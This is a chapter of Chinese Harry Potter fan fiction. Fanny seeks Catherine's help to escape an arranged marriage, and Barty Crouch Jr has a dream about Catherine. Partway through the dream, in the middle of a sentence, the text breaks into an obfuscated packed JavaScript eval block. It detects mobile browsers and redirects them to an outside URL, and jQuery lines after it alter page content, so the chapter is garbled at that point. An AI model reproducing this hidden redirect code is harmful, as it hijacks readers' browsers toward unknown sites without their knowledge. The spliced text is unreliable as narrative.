“你就住这种地方?”芬妮嫌弃地捏着鼻子,踟蹰片刻,终于下定决心踏进凯瑟琳的小棚屋。
一进去,她差点被堆积如山的十几具阴尸吓得跳起来。
“别叫!”凯瑟琳捂住芬妮的嘴,“没有植入口令,他们不会攻击人。但是动静太大,他们会翻身,滚的到处都是。”
“好吧,好吧。”芬妮小心翼翼地绕过沉睡的阴尸,跟着凯瑟琳走进里间。
里间别有洞天,穿过入户花园,是一间小而精致的两居室,配有书房和精致的厨房。这里才像是正常人住的地方。
“前头是用来会见食死徒的地方,没那么讲究。”凯瑟琳倒了一杯茶给芬妮,透过昏黄的烛台,她看到芬妮满脸烦躁不安。
“发生什么事了?为什么这个点跑来找我?”凯瑟琳问芬妮。
“我……我……”芬妮握着茶杯,几次提气都没有说下去。
凯瑟琳静静地看着她,耐心等待。
“如果我这次能成功把我哥的劫狱计划书偷出来给你,你能帮帮我吗……”芬妮终于下定决心,脱口而出。
“发生什么了?”凯瑟琳问。
芬妮只是摇头。
“你不说,我怎么帮你?”凯瑟琳皱眉,“如果偷计划书这件事让你为难,我可以再找其他人。我知道你会冒很大风险,上次我问你,你拒绝了,我也没再坚持。你现在为什么又改主意了呢?”
“我想逃走,逃到我家人伸手够不到的地方。比如国外。”芬妮说。
“为什么?到底怎么回事?”凯瑟琳追问。
芬妮突然红了眼眶,捂着脸失声痛哭道:“我爸妈让我嫁给那个克拉布!梅林的内裤,那个人简直了,猪戴上假发都比他好看!我受不了!”
“什么年代了,你家还搞这一套?你爸妈就一点都不考虑你的感受?”凯瑟琳听了也是义愤填膺,“我见过他,说真的,他确实不如猪。”
“我家就是那种最古板的纯血家族。”芬妮摘下手套,露出自己光洁的手臂,“我听你的话,整天装傻充楞,没混进食死徒的队伍里。但我家人以为我是真的傻,他们大概觉得我现在最大的价值就是嫁给一个他们看重想拉拢的人。”
“然后他们就挑了克拉布?”凯瑟琳觉得无法理解,“看重他什么?一身肥肉吗?”
“他们倒是想挑点更好的。但人家看不上我,嫌弃我不是食死徒。”芬妮没好气地说。
“你可以反过来嫌弃对方是个食死徒。”凯瑟琳好奇地问,“谁啊,竟敢看不上你?”
“埃文·罗齐尔。”芬妮翻白眼。
“那个垃圾。”凯瑟琳轻蔑地说,“他可不是什么好人。克拉布可能只是傻,他是纯坏。”
“是吗?我还说他长得人模狗样的。”芬妮不甚在意,她瘫在沙发上,“我情愿找个麻瓜帅哥。”
说到麻瓜帅哥,芬妮突然来劲儿了,眼里燃起了熊熊八卦之火:“你知道吗?之前低我们一级的那个校花弗洛伦斯·伊凡,夏梦组合红过一阵子的,现在在和一个麻瓜乐队主唱谈恋爱!”
“我知道。”凯瑟琳点头,“上次我还看见她来着,没想到她还没分手呢。”
“没有!我怀疑她是动了真情了!《巫师周刊》有小道消息,她和那个主唱已经订婚了!”芬妮继续说,然后缠着凯瑟琳问那个主唱到底帅不帅。
“看着还可以。”凯瑟琳从记忆里翻出主唱的模样,胡乱应答着,她给芬妮提建议,“既然你这么喜欢帅哥,不如去法国找阿加莎,法国帅哥可比英国多多了。”
像是突然被拉回现实,芬妮忽然僵了一下,她讷讷地说:“不然我还是乖乖回家算了,你就当我没来过。”
“怎么了?是什么让你突然退缩了?”凯瑟琳问,“你怕他们抓你回去,连累其他人?”
“那倒不至于。我怀疑我在他们心里并没有那么重要,重要到一定要把我抓回去联姻。”芬妮咬咬嘴唇。
“那是为什么?”
“我……我不知道。如果我不结婚,以后我靠什么生活呢?没有嫁妆,没有丈夫家族的财产,我会饿死的吧?”芬妮茫然地说。
“醒醒吧,芬妮。你还有双手,你手上还有魔杖!”凯瑟琳大声说,直视芬妮的双眼,“你是个女巫!你能养活自己!”
“我,我可以吗?不依附任何人?”芬妮有些不自信,小声问道。
“当然!”凯瑟琳郑重地点点头。
“哦。”芬妮扭开头,通红的双眼看向别处,似乎想缓解尴尬,然后自嘲一般说,“阿加莎会嘲笑我的吧?如果我去找她,她一定会笑死我的……”
“也许。”凯瑟琳点点头,“但她绝不会把你撵出门,在你找到工作能够养活自己之前。”
“哦。我受不了嘲笑。”芬妮把手套搓成了一个球。
“你受得了。”凯瑟琳挑起眉毛,“你一直都是这么过来的。”
芬妮气笑了,把手套球掷向凯瑟琳:“是啊,学生时代,你们一直拿我取乐!”
凯瑟琳轻松接住芬妮抛过来的手套球,就像在霍格沃茨球场上无数次抓住金色飞贼一样。
“但我们是朋友啊。不管怎么说,我们都是你的后盾。所以,坚强起来,你可以的!”凯瑟琳微笑道。
说完,她召唤过来纸笔,开始为芬妮做详细的职业规划:“……你拿到了三张O.W.Ls证书,对不对?后来补考,又拿到了两张。你的魔药不太好,但是草药和魔咒还可以,根据欧洲魔法教育评估上的告示,两个月后,法国有草药种植师考核,你应该准备一下,考下这个证,各大种植园就会争着要你。别,别说你不喜欢,工作不是为了喜欢,是用你最擅长的专业去赚更多的钱……”
凯瑟琳罗列了一个长长的书单,具体到什么时间应该读完,甚至还留了论文作业,把芬妮接下来的时间安排得明明白白。
芬妮拿着这一大卷羊皮纸浏览着,窒息地说:“梅林啊,我觉得我好像重新回到了霍格沃茨。”
而凯瑟琳则在镜子上联系阿加莎,头也不抬地告诉芬妮:“阿加莎那边妥妥的,一周之后,不管你有没有拿到你哥哥的那份劫狱计划书,你都得离开了。到时候,阿加莎会在国王十字车站接你,你俩镜子上联系。在此期间,我做一些小东西给你防身。”
芬妮深吸一口气,坚定地点点头:“放心。我会拼尽全力拿到我哥哥的那份劫狱计划书的。我会在我离开前,为你办好最后一件事。”
*
小巴蒂做了一个梦。
在梦里,他还不是食死徒,只是一个霍格沃茨的傻瓜学生。
他站在城堡的走廊里,看着陌生的同学们走来走去,仿佛自己只是一个偶然误入的闯入者。
这些人全部都是灰色的,面目模糊,发出各种无意义的嗡嗡声。
小巴蒂感觉无聊极了,他想,他的这些同学的名字他很少能记住,就如同过眼云烟一样。
魔力平平,智力平平,没有野心,贪图享受,人生简直一眼望得到头。
如此平庸而无知的人活着究竟有什么意义?不如一把火全烧了。
隐藏在他心里的破坏欲望开始作祟,他甚至有些兴奋,如果他把霍格沃茨烧成废墟,他的父亲会是怎样的表情?
他迫不及待想看到他那傲慢的父亲陷入巨大的丑闻,从高台跌落。
小巴蒂举起魔杖,对着那些庸庸碌碌的学生喊道:“厉火焚……”
但还没喊完,他的魔杖就脱手了。
他回头,看到晦暗的人群突然静止不动,就好像时间暂停了一样。
一抹亮色拨开静止的人群,朝他走来。
她蓝色的眼睛闪着愤怒,一脸轻蔑,但小巴蒂不仅没有被她的眼神刺痛,反而更兴奋了。
“凯瑟琳!”他哈哈大笑,“这是你第几次挡在我面前了?让我数数,第一次,你阻止我用错误的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240006|161033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咒语去损害那个告状精的大脑,第二次,你把告状精从禁林里救出来,没让她被狼人咬伤,第三次,你把你干的事栽赃在我头上,让我失去了成为食死徒的契机……”
“但你还是成为了食死徒,不是吗?”凯瑟琳冷冷地说。
“那你怎么不继续挡在我面前呢?那时候你去哪儿了?你不告而别……”小巴蒂神经质地笑起来,“再也没有人能管得了我了……”
场景忽然开始转换,他好像回到了过去某一天,那个时候——
对了,是斯拉格霍恩鼻涕虫俱乐部的圣诞舞会即将举办的时候。
凯瑟琳在路上遇到了那个怪人洛夫古德,突发奇想邀请洛夫古德去舞会。
当时他就站在角落的阴影里静静地看着,隐忍着自己不懂的情绪,直到忍不住爆发,转化成尖酸刻薄的嘲讽。
但这一次,他没有任由凯瑟琳拦住洛夫古德,他站了出来,非常唐突地开口,邀请凯瑟琳成为自己的舞伴。
凯瑟琳灵动的眼神上下打量他,一脸狐疑:“你在打什么主意?”
小巴蒂心里想说,我觉得我可能有点喜欢你,可以给我一个机会吗?
但话到嘴边,不知怎么就变成了:“反正你也找不到舞伴,不如和我凑合凑合。”
“谁说我找不到舞伴?”凯瑟琳扭头朝洛夫古德走去,但转眼间,所有人都消失了。
走廊空空荡荡,只剩下小巴蒂和凯瑟琳两人。
“你干的?”凯瑟琳冷冰冰地问。
“当然,这是我的梦。”小巴蒂又发出了神经质的笑,他打了个响指,场景再次转换。
他们来到了鼻涕虫俱乐部舞会现场,小巴蒂如愿以偿地揽着凯瑟琳翩翩起舞。
“你不是还在试图挽回弗洛伦斯吗?为什么突然找上我?你这样真让我瞧不起。”凯瑟琳不屑地说。
“你什么时候瞧得起过我?”小巴蒂反问。
凯瑟琳沉默了一瞬,缓缓开口:“我没有瞧不起你。恰巧相反,我很在意你。”
小巴蒂像被一道闪电击中了,电流窜过他的身体,让他浑身上下泛起颤栗的鸡皮疙瘩。
他揽着凯瑟琳的腰朝自己怀里靠近,恨不得揉碎她,从此让他们骨血相融。
“你如何在意我?”小巴蒂颤抖着问。
凯瑟琳的手像毒蛇一样缠上了他的脖子,冷笑着说:“我在意你,在意到后悔没有亲手杀了你。”
说完,她的手忽然一紧,死死掐住他的脖子,让他呼吸困难。
他大声咳嗽着,仿佛溺水一般拼命挣扎。
场景再次转换,他好像又回到了上次在戈德里克山谷音乐节,两人兵戎相见的那一幕。
凯瑟琳把匕首从他大腿拔出来,然后狠狠插在了他的胸膛。
“这样也好,我情愿死在你手里。”小巴蒂微笑着,看到凯瑟琳脸上写满了不解和困惑。
凯瑟琳伸出了手,小巴蒂就像溺水的人看到了一块浮木,握住了她,希望她能最后拉自己一把。
小巴蒂一使劲儿,终于醒来。
他从水已经变得冰凉的浴缸里爬起来,大声咳嗽着,几乎要把肺咳出来。
刚刚他在浴缸里睡着了,不小心滑入了水中,呛着了,才会梦到凯瑟琳杀死自己。
过了好一会儿,他终于平息下来,爬出浴缸,从衣服堆里找出手表,发现已经凌晨3点了。
浴室镜子上蒙着一层水雾,他伸手抹去水雾,看向镜子里的自己。
苍白的肌肤下是薄薄一层肌肉,不甚健硕,也不至于软弱。
大腿上那道刀疤还在,他故意没用白鲜,不知道是出于什么心理,想留个纪念。
脖子上是银色的颈环,伏地魔随时都可以通过颈环取他性命。左臂上是黑魔标记,上周刚刚被烙上。
他早就没办法回头了,还妄想着同样身陷囹圄的凯瑟琳能拉他一把?
真是可笑啊。